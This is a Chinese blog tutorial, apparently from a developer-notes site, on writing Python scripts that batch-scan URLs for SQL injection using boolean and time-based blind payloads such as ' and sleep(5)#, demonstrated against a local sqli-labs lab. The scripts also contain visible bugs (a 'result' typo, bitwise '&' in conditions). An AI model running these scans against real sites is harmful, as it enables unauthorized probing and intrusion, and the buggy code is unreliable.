热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

python之poc编写——sql篇

文章目录sql注入漏洞漏扫单个网站基础sql扫描多个网站sql基础扫描时间盲注型扫描升阶版sq



文章目录



  • sql注入漏洞漏扫



    • 单个网站基础sql扫描

    • 多个网站sql基础扫描



      • 时间盲注型扫描

      • 升阶版sql批量扫描





poc:即验证漏洞是否存在的脚本,也就是扫描器


兄弟们,开始写扫描器啦


sql注入漏洞漏扫

单个网站基础sql扫描

第一步,当然是写request函数啦。除了时间盲注外,1' and 1=2%23就能判断字符型的sql注入

#!/usr/bin/python
# encoding = utf-8
import requests
def poc(url):
result_rep = requests.get(url)
return len(result_rep.text)
if __name__=="__main__":
header = {"User_Agent":"Firefox/50.0"}#http头,随便写一个装装样子
url = "http://127.0.0.1/sqli-labs-master/Less-8/?id=1"

result_lens = []#创建空列表用于比对后面and判断的返回包长度
rep = requests.get(url,headers=header)
normal_len = len(rep.text)#正常请求,也就是if判断正确时应该返回的数据包长度
payloads = ["\'%20and%201=1%23","\'%20and%201=2%23"]#通过单引号and 1=2来验证,用Url编码了空格
for payload in payloads:
result_len = poc(url+payload)#发包
result_lens.append(result_len)

if(result_lens[0] == normal_len & normal_len != result_lens[1]):#表示and 1=1是正确返回包的长度,而and 1=2是错误的返回包长度,也就是说单引号后的内容被mysql正确的执行
print "exists SQL Injection!"

ok,一个很辣鸡的poc产生了,我相信知道sql注入原理的伙伴看到这些个注释没可能读不懂这个脚本

那批量扫描呢?


多个网站sql基础扫描

当然是读文件啦
对上述代码进行改良:

#!/usr/bin/python
# encoding = utf-8
import requests
def poc(url):
result_rep = requests.get(url)
return len(result_rep.text)
def run(url):#把main里进行sql检验的代码进行重复调用,把这段代码写进run函数
result_lens = []
rep = requests.get(url,headers=header)
normal_len = len(rep.text)
payloads = ["\'%20and%201=1%23","\'%20and%201=2%23"]
for payload in payloads:
result_len = poc(url+payload)
result_lens.append(result_len)

if(result_lens[0] == normal_len & normal_len != result_lens[1]):
print "exists SQL Injection!"
if __name__=="__main__":
header = {"User_Agent":"Firefox/50.0"}
urls = open("url.txt",'r').readlines()#将每一行的信息保存到列表里
for url in urls:
run(url)#对url.txt内的网址批量用数据包长度比对方式进行扫描

现在将待扫网址写入url.txt中即可批量扫描,但是如果是时间盲注,那用数据返回包的长度就不能判断有无sql注入漏洞了


时间盲注型扫描

这种扫描就适用于没有过滤且为字符型的所有注入,要用到上一博客讲到的Exception进行异常判断,加在poc校验内。那都用sleep来判断了,result_len就没用了,直接删掉

#!/usr/bin/python
# encoding = utf-8
import requests
def poc(url):
try:
result_rep = requests.get(url,timeout=3)
result "no sql injection"
except Exception as e:
return "timeout"#如果sleep了,就存在sql注入漏洞
def run(url):
rep = requests.get(url,headers=header)
payloads = ["\'%20and%20sleep(5)%23"]
for payload in payloads:
result_info = poc(url+payload)
if("timeout" in result_info):
print "exist sql injection!"
if __name__=="__main__":
header = {"User_Agent":"Firefox/50.0"}
urls = open("url.txt",'r').readlines()#将每一行的信息保存到列表里
for url in urls:
run(url)#对url.txt内的网址批量用数据包长度比对方式进行扫描

py脚本扫描结果


升阶版sql批量扫描

上述脚本存在误报,就是payload只有一个单引号闭合,没办法检验数字型sql,双引号型,’)型,’))等
在payload中多加几个类型

payloads = ["\'%20and%20sleep(5)%23","\"%20and%20sleep(5)%23","%20and%20sleep(5)%23","\')%20and%20sleep(5)%23","\'))%20and%20sleep(5)%23"]

正确的批量扫描http头注入和waf注入poc下一节来讲



推荐阅读
  • 根据最新发布的《互联网人才趋势报告》,尽管大量IT从业者已转向Python开发,但随着人工智能和大数据领域的迅猛发展,仍存在巨大的人才缺口。本文将详细介绍如何使用Python编写一个简单的爬虫程序,并提供完整的代码示例。 ... [详细]
  • 解决网站乱码问题的综合指南
    本文总结了导致网站乱码的常见原因,并提供了详细的解决方案,包括文件编码、HTML元标签设置、服务器响应头配置、数据库字符集调整以及PHP与MySQL交互时的编码处理。 ... [详细]
  • 本文详细介绍 Go+ 编程语言中的上下文处理机制,涵盖其基本概念、关键方法及应用场景。Go+ 是一门结合了 Go 的高效工程开发特性和 Python 数据科学功能的编程语言。 ... [详细]
  • 技术分享:从动态网站提取站点密钥的解决方案
    本文探讨了如何从动态网站中提取站点密钥,特别是针对验证码(reCAPTCHA)的处理方法。通过结合Selenium和requests库,提供了详细的代码示例和优化建议。 ... [详细]
  • 使用Vultr云服务器和Namesilo域名搭建个人网站
    本文详细介绍了如何通过Vultr云服务器和Namesilo域名搭建一个功能齐全的个人网站,包括购买、配置服务器以及绑定域名的具体步骤。文章还提供了详细的命令行操作指南,帮助读者顺利完成建站过程。 ... [详细]
  • 本文介绍如何使用阿里云的fastjson库解析包含时间戳、IP地址和参数等信息的JSON格式文本,并进行数据处理和保存。 ... [详细]
  • 本文介绍如何使用Python进行文本处理,包括分词和生成词云图。通过整合多个文本文件、去除停用词并生成词云图,展示文本数据的可视化分析方法。 ... [详细]
  • 使用Pandas高效读取SQL脚本中的数据
    本文详细介绍了如何利用Pandas直接读取和解析SQL脚本,提供了一种高效的数据处理方法。该方法适用于各种数据库导出的SQL脚本,并且能够显著提升数据导入的速度和效率。 ... [详细]
  • PHP 编程疑难解析与知识点汇总
    本文详细解答了 PHP 编程中的常见问题,并提供了丰富的代码示例和解决方案,帮助开发者更好地理解和应用 PHP 知识。 ... [详细]
  • 优化ListView性能
    本文深入探讨了如何通过多种技术手段优化ListView的性能,包括视图复用、ViewHolder模式、分批加载数据、图片优化及内存管理等。这些方法能够显著提升应用的响应速度和用户体验。 ... [详细]
  • PHP 5.2.5 安装与配置指南
    本文详细介绍了 PHP 5.2.5 的安装和配置步骤,帮助开发者解决常见的环境配置问题,特别是上传图片时遇到的错误。通过本教程,您可以顺利搭建并优化 PHP 运行环境。 ... [详细]
  • Python自动化处理:从Word文档提取内容并生成带水印的PDF
    本文介绍如何利用Python实现从特定网站下载Word文档,去除水印并添加自定义水印,最终将文档转换为PDF格式。该方法适用于批量处理和自动化需求。 ... [详细]
  • 掌握远程执行Linux脚本和命令的技巧
    本文将详细介绍如何利用Python的Paramiko库实现远程执行Linux脚本和命令,帮助读者快速掌握这一实用技能。通过具体的示例和详尽的解释,让初学者也能轻松上手。 ... [详细]
  • 开发笔记:2020 BJDCTF Re encode
    开发笔记:2020 BJDCTF Re encode ... [详细]
  • 本文深入探讨了HTTP请求和响应对象的使用,详细介绍了如何通过响应对象向客户端发送数据、处理中文乱码问题以及常见的HTTP状态码。此外,还涵盖了文件下载、请求重定向、请求转发等高级功能。 ... [详细]
author-avatar
百脑汇惠州店_956
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有